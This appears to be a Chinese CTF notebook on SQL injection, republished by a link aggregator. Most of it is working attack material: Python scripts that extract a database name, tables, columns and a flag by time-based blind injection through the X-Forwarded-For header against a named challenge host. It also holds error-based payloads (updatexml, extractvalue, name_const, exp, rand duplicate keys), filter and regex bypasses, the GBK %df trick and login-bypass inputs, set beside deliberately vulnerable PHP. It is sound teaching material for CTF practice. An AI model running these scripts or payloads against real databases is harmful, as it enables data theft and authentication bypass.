34

CTF中的SQLi笔记

 5 years ago
source link: http://zeroyu.xyz/2018/11/24/SQLi-in-CTF/?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

题目代码如下,从题目分析可以看到$ip是从xxf参数中获取的,并再使用explode函数处理后(注意在这里使用了,号作为分隔符,因而我们插入的sql语句中不能出现,号了),直接代入sql语句,因而是存在sql注入漏洞。因为关闭了报错,因而只能采用时间盲注的方式。

因为,号不能使用,所以就意味着limit 0,1不能使用,但是可以使用from 0 for 1进行代替;if判断在此处不能使用了,但是可以使用select case when(满足条件)then(语句1)else(语句2) end语句进行代替

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

数据库名的注入脚本如下:

import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
database = ''
flag = 1
for i in range(1,10):
    for j in allString:
        header = {
            "X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            }
        r = requests.get(url,headers=header)
        t = r.elapsed.total_seconds()
        print('the time of '+j+' is '+str(t))
        if t >= 3:
            database = database + j
            print('the '+str(i)+' place of database is '+j)
            break
        elif t < 3 and j == 'M':
            flag = 0
            break
    if flag == 0 :
        break
print('database:',database)

注入表名的代码如下

import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
table_name = ''
flag = 1
for i in range(1,20):
    for j in allString:
        header = {
            "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            }
        r = requests.get(url,headers=header)
        t = r.elapsed.total_seconds()
        print('the time of '+j+' is '+str(t))
        if t >= 3 and t < 4:
            table_name = table_name + j
            print('the '+str(i)+' place of table_name is '+j)
            break
        elif t < 3 and j == 'M':
            flag = 0
            break
    if flag == 0 :
        break
print('table_name:',table_name)

注入得到列名

import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
column_name = ''
flag = 1
for i in range(1,20):
    for j in allString:
        header = {
            "X-Forwarded-For":"1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            }
        r = requests.get(url,headers=header)
        t = r.elapsed.total_seconds()
        print('the time of '+j+' is '+str(t))
        if t >= 3 and t < 4:
            column_name = column_name + j
            print('the '+str(i)+' place of table_name is '+j)
            break
        elif t < 3 and j == 'M':
            flag = 0
            break
    if flag == 0 :
        break
print('column_name:',column_name)

最终注入得到列中的数据

import requests

url = 'http://120.24.86.145:8002/web15/'
allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'''
flag = ''
f = 1
for i in range(1,30):
    for j in allString:
        header = {
            "X-Forwarded-For":"1'+(select case when (ascii(substr((select flag from flag) from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j))
            }
        r = requests.get(url,headers=header)
        t = r.elapsed.total_seconds()
        print('the time of '+j+' is '+str(t))
        if t >= 3 and t < 4:
            flag = flag + j
            print('the '+str(i)+' place of table_name is '+j)
            break
        elif t < 3 and j == 'M':
            f = 0
            break
    if f == 0 :
        break
print('flag:',flag)

0x02 异或注入xor/^

xor与^的区别:前者是做逻辑运算 1 xor 0 会输出1 其他情况输出其他所有数据;后者是做位异或运算 如1^2=3 1^2=3

可以采用这种方式来判断目标站点过滤了什么关键字

http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1
当union没被过滤时 1 ^ 1 输出 id=0 并回显 error

0x03 limit注入

在MySQL5.x版本中,后端采用如下形式进行SQL查询,此时注入点在order by语句后面无法使用union进行联合查询,因而需要另辟蹊径。

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 【注入点】

在此处我们可以使用procedure关键字调用ANALYSE存储过程来完成注入。利用姿势有以下几种:

//1.报错注入
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
 
ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'


mysql> SELECT host FROM mysql.user ORDER BY 1 LIMIT 0 PROCEDURE ANALYSE (0, (SELECT 3 ORDER BY updatexml(1, concat(0x3A, version()), 1)));
ERROR 1105 (HY000): XPATH syntax error: ':5.5'


//2.时间盲注,注意此时不能使用sleep
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

//注:以上出现version()的地方都可以用想用的SQL语句替换

0x04 利用insert,update和delete注入获取数据

闭合形式:

' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

利用方式:

  1. 利用updatexml()获取数据
  2. 利用extractvalue()获取数据
  3. 利用name_const()获取数据

    注意:

    如果显示ERROR 1210 (HY000): Incorrect arguments to NAME_CONST,那就洗洗睡吧。。

如果显示ERROR 1060 (42S21): Duplicate column name ‘2’,就可以进一步获取更多数据。

  1. 利用子查询注入

参考: 利用insert,update和delete注入获取数据

0x05当update注入遇到关闭显错

注:此处提到的或逻辑运算对insert注入也是有效的

参考:

当update注入遇到关闭显错

在Update的注入中如果关闭了显错该怎么办

0x06 Mysql字符编码利用技巧

latin1编码不支持汉字,因而可以采用编码绕过

0x07 GBK Injection

单引号会被/注掉,可以用%df吃掉/封闭id

查询字段数

?id=-1%df' order by 2%23

果然两个,顺带查看其用户,库名和版本

?id=-1%df' union select 1,concat_ws(char(32,58,32),user(),database(),version())%23

注:

# concat_ws()第一个参数是分隔字符
# char(32,58,32)表示的是 ":" 号
MariaDB [(none)]> select concat_ws(char(32,58,32),'11','22','33');
+------------------------------------------+
| concat_ws(char(32,58,32),'11','22','33') |
+------------------------------------------+
| 11 : 22 : 33                             |
+------------------------------------------+
1 row in set (0.00 sec)

库名sae-chinalover,再爆表

单引号会被/注掉,所以写sae-chinalover的16进制

?id=-1%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7361652d6368696e616c6f766572)%23

注:

group_concat()是将某个字段的所有值打印在一起,方便一行输出。

mysql> select group_concat(name) from aa;
+-------------------+
|group_concat(name) |
+-------------------+
|10,20,20|

有四个:ctf,ctf2,ctf3,ctf4,news,爆列名

?id=-1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7361652d6368696e616c6f766572 and table_name=0x63746634)%23

ctf4里有id,flag,flag应该就在这里

?id=-1%df' union select 1,(select group_concat(id,flag) from ctf4)%23

可以看到构造爆错后常规注入即可。

0x08 MD5加密后的SQLi

目标语句:

"select * from admin where password='".md5($pass,true)."'"
md5(string,raw)
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:
• TRUE – 原始 16 字符二进制格式 <关键点>
• FALSE – 默认。32 十六进制数

注入思路:

字符串经md5计算后的值经过hex转成字符串后为 ”or’xxx’这样的字符串

构造payload目标:

select * from admin where password="or'xxx'

可用payload

content: 129581926211651571912466741651878684928

md5加密为: 06da5430449f8f6f23dfc1276f722738

作hex转字符串: ?T0D??o#??’or’8.N=?

content: ffifdyop

md5加密为: 276f722736c95d99e921722cf9ed621c

作hex转字符串: ‘or’6蒥欓!r,b

注:这个问题是在PHP中存在的

0x09 空格被过滤

空格过滤使用 /*xxx*/ 进行绕过,

有时候关键词被过滤了可以使用双写绕过

例如

//为三个字段,接着查库
?id=1/*0*/order/*0*/by/*0*/3%23

?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,concat_ws(char(32,58,32),user(),database(),version())%23

//查所有库
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(schema_name)/*0*/frfromom/*0*/information_schema.schemata%23

//查test的表
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(table_name)/*0*/frfromom/*0*/information_schema.tables/*0*/where/*0*/table_schema=0x74657374%23

//只有一个content,查列
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,group_concat(column_name)/*0*/frfromom/*0*/information_schema.columns/*0*/where/*0*/table_schema=0x74657374/*0*/and/*0*/table_name=0x636f6e74656e74%23

//有id,context,title。最后直接查context
?id=-1/*0*/uniunionon/*0*/seselectlect/*0*/1,2,context/*0*/frfromom/*0*/content%23

//得到flag

0x10 ``符号问题

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

反引号是为了区分MySql的保留字段与普通字符而引入的符号

引号一般用在字段的值,如果字段值是字符或字符串,则要加引号

MariaDB [test]> select `flag` from flags;
+----------------------------------------+
| flag                                   |
+----------------------------------------+
| flag{37316894c36cb32d2ca3f7d3add88024} |
+----------------------------------------+
1 row in set (0.00 sec)

MariaDB [test]> select 'flag' from flags;
+------+
| flag |
+------+
| flag |
+------+
1 row in set (0.00 sec)

payload:构造如下形式进行注入, * 位置放入关键词

desc `***` `***`;

MariaDB [test]> desc `flags` `union select table_name from information_schema.tables`;
Empty set (0.00 sec)
http://test.com/?table=test`  `union select table_name from information_schema.tables limit 1,1

http://test.com/?table=test`  `union select column_name from information_schema.columns limit 1,1

http://test.com/?table=test`  `union select flagUwillNeverKnow from secret_flag limit 1,1

0x11 rollup&&offset

limit 1 offset 2 从第二条记录开始查询,读取1条记录(intrude fuzz 1和2这两个位置的参数)

rollup 在group by 分组之后,再合计总数,可构造使得结果为null

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
	echo '<form action="" method="post">'."<br/>";
	echo '<input name="uname" type="text"/>'."<br/>";
	echo '<input name="pwd" type="text"/>'."<br/>";
	echo '<input type="submit" />'."<br/>";
	echo '</form>'."<br/>";
	echo '<!--source: source.txt-->'."<br/>";
    die;
}

function AttackFilter($StrKey,$StrValue,$ArrReq){  
    if (is_array($StrValue)){
        $StrValue=implode($StrValue);
    }
    if (preg_match("/".$ArrReq."/is",$StrValue)==1){   
        print "姘村彲杞借垷锛屼害鍙禌鑹囷紒";
        exit();
    }
}

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ 
    AttackFilter($key,$value,$filter);
}

$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
	die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
#$sql="SELECT * FROM interest WHERE uname = '' or 1=1 group by pwd with rollup limit 1 offset 2 #'";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        print "CTF{XXXXXX}";
    }else{
        print "浜﹀彲璧涜墖锛�";
    }
}else{
	print "涓€棰楄禌鑹囷紒";
}
mysql_close($con);
?>

获取flag需要满足 mysql_num_rows($query) == 1$key['pwd'] == $_POST['pwd'] ,后者使用 group by pwd with rollup 在查询结果中加上一行,且pwd字段的值为NULL,以此绕过 $key['pwd'] == $_POST['pwd'] 过滤,则使用 limit # offset # 来满足 mysql_num_rows($query) == 1 ,fuzz出 limit 1 offset 2

payload

' or 1=1 group by pwd with rollup limit 1 offset 2 #

test

MariaDB [test]> select text from article group by NULL with rollup limit 1 offset 2 ;
Empty set (0.00 sec)

MariaDB [test]> select * from article;
+---------+-----------------------------------------------------+
| id      | text                                                |
+---------+-----------------------------------------------------+
| 1       | guess what?                                         |
| 3       | you can test it with sqli                           |
| 2       | dudulu                                              |
| 4       | The choice of the stone gate of all dead destinies! |
| 5       | ??? ???                                             |
| 8848    | you want by a phone?                                |
| 9588    | you will be lucky                                   |
| 1245123 | flag{37316894c36cb32d2ca3f7d3add88024}              |
+---------+-----------------------------------------------------+
8 rows in set (0.00 sec)

0x12 注出可控数据绕过登录

<html>
<head>
welcome to simplexue
</head>
<body>
<?php


if($_POST[user] && $_POST[pass]) {
    $conn = mysql_connect("********", "*****", "********");
    mysql_select_db("phpformysql") or die("Could not select database");
    if ($conn->connect_error) {
        die("Connection failed: " . mysql_error($conn));
} 
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($conn));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
  
  if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    echo "<p>Logged in! Key:************** </p>";
}
else {
    echo("<p>Log in failure!</p>");
    
  }
  
  
}

?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

利用user处的注入返回想要的pw

例如 qwe,76d80224611fc919a5d54f0ff9fba446

username值 ' union select '76d80224611fc919a5d54f0ff9fba446'#

password值 qwe

提交获得flag

0x13 htmlentities实体化单引号情况

#GOAL: get password from admin;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

$row = mysql_fetch_assoc($result);

echo "Hello ".$row['name']."</br>";
echo "Your password is:".$row['pass']."</br>";

htmlentities将单引号实体化了,所以可用\来将源单引号转义

构造

SELECT * FROM users WHERE name='\' AND pass=' or 1=1 limit 2,3#';

payload:

?username=\&password=%20or%201=1%20limit%202,3%23

0x14 报错注入 && / !00000select / && ‘->\x27

示例题目属于二次注入,在删除功能处进行注入

<?php
include 'config.php';
foreach(array('_GET','_POST','_COOKIE') as $key){
    foreach($$key as $k => $v){
        if(is_array($v)){
            errorBox("hello,sangebaimao!");
        }else{
            $k[0] !='_'?$$k = addslashes($v):$$k = "";
        }
    }
}
function filter($str){
    $rstr = "";
    for($i=0;$i<strlen($str);$i++){
        if(ord($str[$i])>31 && ord($str[$i])<127){
            $rstr = $rstr.$str[$i];
        }
    }
    $rstr = str_replace('\'','',$rstr);
    return $rstr;
}
if(!empty($message)){
    if(preg_match("/\b(select|insert|update|delete)\b/i",$message)){
        die("hello,sangebaimao!");
    }
    if(filter($message) !== $message){
        die("hello,sangebaimao!");
    }
    $sql="insert guestbook(`message`) value('$message');";
    mysql_query($sql);
    $sql = "select * from guestbook order by id limit 0,5;";
    $result = mysql_query($sql);
    if($result){
        while($row = mysql_fetch_array($result)){
            $id = $row['id'];
            $message = $row['message'];
            echo "|$id|=>|$message|<br/>";
        }
    }
    $message = stripcslashes($message);
    $sql = "delete from guestbook where id=$id or message ='$message';";
    if(!mysql_query($sql)){
    
    //print(mysql_error());依据这句话看出可以使用报错注入
    
        print(mysql_error());
        $sql = "delete from guestbook where id=$id";
        mysql_query($sql);
    };
}
?>

sqli关键:需要绕过单引号和preg_match

因为stripcslashes函数,可以使用 1\x27 创造单引号

/*!00000select*/ 绕过preg_match

在mysql,00000这5位代表版本号,表示只有在大于该版本的mysql中不作为注释

MariaDB [test]>  /*!00000select 'zeroyu'*/;
+--------+
| zeroyu |
+--------+
| zeroyu |
+--------+
1 row in set (0.00 sec)

注: concat(0x27,(/*!00000select version()*/)) 这个对于UpdateXML和ExtractValue而言会最先执行,但是它不是一个合格xml表达式,因而或造成报错。但要注意这两个报错的最大长度是32

1.利用updatexml报错

UpdateXML(xml_target, xpath_expr, new_xml)

updatexml函数有三个参数,作用是xml替换,把xml_target中被xpath_expr匹配到的部分使用new_xml替换

?message=1\x27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
MariaDB [(none)]> select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~10.1.36-MariaDB~'

2.利用ExtractValue()报错

ExtractValue(xml_frag, xpath_expr) 得到xml_frag中被xpath_expr匹配到的值

?message=1\x27 and ExtractValue(0,concat(0x27,(/*!00000select version()*/)))%23;

3.name_const()

name_const(name,value)

返回给定值。 当用来产生一个结果集合列时, name_const()促使该列使用给定名称。

本题利用的是表的字段名(列名)不允许重复,列名重复会报错,报错长度没有限制

payload

?message=aaa\x27%20and%20(/*!00000SELECT*/ * FROM(/*!00000SELECT*/(name_const(version(),1)),name_const(version(),1))a)%23
MariaDB [test]> select name_const('l','f');
+------+
| l    |
+------+
| f    |
+------+
1 row in set (0.00 sec)
//此处的a是列别名,别名使用时是可以省略as的
MariaDB [test]> /*!00000SELECT*/(name_const(version(),1)),name_const(1,version())a;
+-----------------+-----------------+
| 10.1.30-MariaDB | a               |
+-----------------+-----------------+
|               1 | 10.1.30-MariaDB |
+-----------------+-----------------+
1 row in set (0.00 sec)

4.exp

前提: mysql=<5.5.53时才可以使用,不然不会有返回结果的

比如我在5.6.x下进行测试就没有返回结果

MariaDB [(none)]> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select #)))'

如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的。

通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

?message=aaa\x27 and (/*!00000select exp(~(/*!00000select*/ * from (/*!00000select*/ version())a)))%23

参考: https://www.cnblogs.com/lcamry/articles/5509124.html

5.主键重复

concat+rand()+group_by()导致主键重复

。实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:

MariaDB [test]> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '10.1.36-MariaDB1' for key 'group_key'

floor(rand(0) 2)则会固定得到011011…的序列,在查询时floor(rand(0) 2)会被计算5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。

6.几何函数

geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()

这些函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错。经测试,在版本号为5.5.47上可以用来注入,而在5.7.17上则不行。

7.join报错爆字段

注:该方法在知道表名的情况下使用

select * from (select * from 表名 a join 表名 b) c)  
在得到一个字段后,使用using得到下一个字段
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段)) c

0x15 MySQL快速盲注小技巧

将字符串经过hex编码之后,再转成10进制数字,通过盲注获取具体的数字,然后再将它还原回去。

注意当数字过长是可以采用截取字符串的方式,八位八位的获取数据结果,公式:

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);

参考: http://www.zhutougg.com/2018/02/23/mysqlkuai-su-mang-zhu-xiao-ji-qiao/

0x16 update注入

<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');

$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
        SET `username`='admin'
        WHERE id=1";
if(!mysqli_query($link, $sql)) {
    echo(mysqli_error($link));
}
mysqli_close($link);

关键点:

  1. update注入,且sql语句没有写在一行代码里面 => left join
  2. addslashes在单引号和双引号前加”\” => 出现单引号的地方用char函数代替
  3. 闭合`
  4. 除了table表以外不知道数据库的其他表了,或者根本就只有一个表,所以我就要用mysql的虚表dual

payload

?table=test` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select version()),0x7e)))) tt on tt.user=`t.username

参考: https://paper.seebug.org/216/

0x17 %00截断

<?php

$db  = mysqli_connect('localhost','web_brave','','web_brave');

$id  = @$_GET['id'];
$key = $db->real_escape_string(@$_GET['key']);

if(preg_match('/\s|[\(\)\'"\/\\=&\|1-9]|#|\/\*|into|file|case|group|order|having|limit|and|or|not|null|union|select|from|where|--/i', $id))
    die('Attack Detected. Try harder: '. $_SERVER['REMOTE_ADDR']); // attack detected

$query = "SELECT `id`,`name`,`key` FROM `users` WHERE `id` = $id AND `key` = '".$key."'";
$q = $db->query($query);

if($q->num_rows) {
    echo '<h3>Users:</h3><ul>';
    while($row = $q->fetch_array()) {
        echo '<li>'.$row['name'].'</li>';
    }

    echo '</ul>';
} else {    
    die('<h3>Nop.</h3>');
}

过滤了好多但是”`”没有过滤,使用%00截断进行截断

payload

id=`id`;%00

0x18 绕正则

<?php
if(isset($_REQUEST['id'])){
	if(preg_match("/'(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['id'])){
		die("Attack detected!!!");
	}
}

$sql = "select * from xxx where id = '{$_GET['id']}'";
echo $sql;
$result = sql_query($_GET['id']);
?>

这个题目绕正则没什么意思,主要是想再提一下 $_REQUEST 变量覆盖问题

数据加载的顺序:

Environment->Get->Post->Cookie->Server

payload

GET传参
?id=1' union select * from flag %23
同时POST传参
id=1

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK